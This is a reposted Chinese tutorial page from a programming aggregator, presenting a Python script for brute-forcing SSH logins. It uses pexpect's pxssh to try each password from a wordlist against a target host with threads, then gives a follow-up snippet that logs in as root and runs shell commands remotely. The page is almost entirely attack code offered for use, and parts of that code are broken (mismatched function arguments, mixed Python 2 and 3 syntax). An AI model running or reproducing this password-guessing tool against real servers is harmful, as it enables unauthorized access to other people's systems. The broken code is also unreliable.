Python脚本--爆破SSH

Python脚本--爆破SSH,第1张

概述利用Pxssh是pexpect库的ssh专用脚本 环境:kali 代码: ‘‘‘Author:yw‘‘‘from pexpect import pxsshimport optparsefrom threading import *Max_Connect = 5connection_lock = BoundedSemaphore(value=Max_Connect)def con 利用Pxssh是pexpect库的ssh专用脚本

环境:kali

代码:

‘‘‘Author:yw‘‘‘from pexpect import pxsshimport optparsefrom threading import *Max_Connect = 5connection_lock = BoundedSemaphore(value=Max_Connect)def connect(host,user,password):    try:        s = pxssh.pxssh()        s.login(host,password)        print("[+]Password Found:"+password)        Found = True    except Exception as e:        passdef main():    parser = optparse.OptionParser(‘usage %prog -H <target host> -f <passwd file> -u <username>‘)    parser.add_option(‘-H‘,dest=‘host‘,type=‘string‘,help=‘target host‘)    parser.add_option(‘-f‘,dest=‘passwdfile‘,help=‘passwofile‘)    parser.add_option(‘-u‘,dest=‘user‘,help=‘login username‘)    (options,args) = parser.parse_args()    host = options.host    passwdfile = options.passwdfile    user = options.user    if host==None or passwdfile==None or user==None:        print(parser.usage)        exit(0)    mn = open(passwdfile,‘r‘)    lines = mn.readlines()    for line in lines:        with connection_lock:            password = line.strip(‘\n‘)            print(‘[-] Test:‘+str(password))            t = Thread(target=connect,args=(host,password))            t.start()if __name__ == ‘__main__‘:    main()@H_419_13@ 

执行结果:

爆破成功后(远程执行上述命令)

代码:

‘‘‘Author:yw‘‘‘from pexpect import pxsshdef send_shell(s,shell):    s.sendline(shell)    s.prompt()    print s.beforedef connect(host,password):    try:        s=pxssh.pxssh()        s.login(host,password)        return s    except:        print("[-] Error Connecting")        exit(0)s=connect(‘127.0.0.1‘,‘root‘,‘toor‘)send_shell(s,‘uname -a‘)@H_419_13@ 

总结

以上是内存溢出为你收集整理的Python脚本--爆破SSH全部内容,希望文章能够帮你解决Python脚本--爆破SSH所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/1191365.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-03
下一篇 2022-06-03

发表评论

登录后才能评论

评论列表(0条)

保存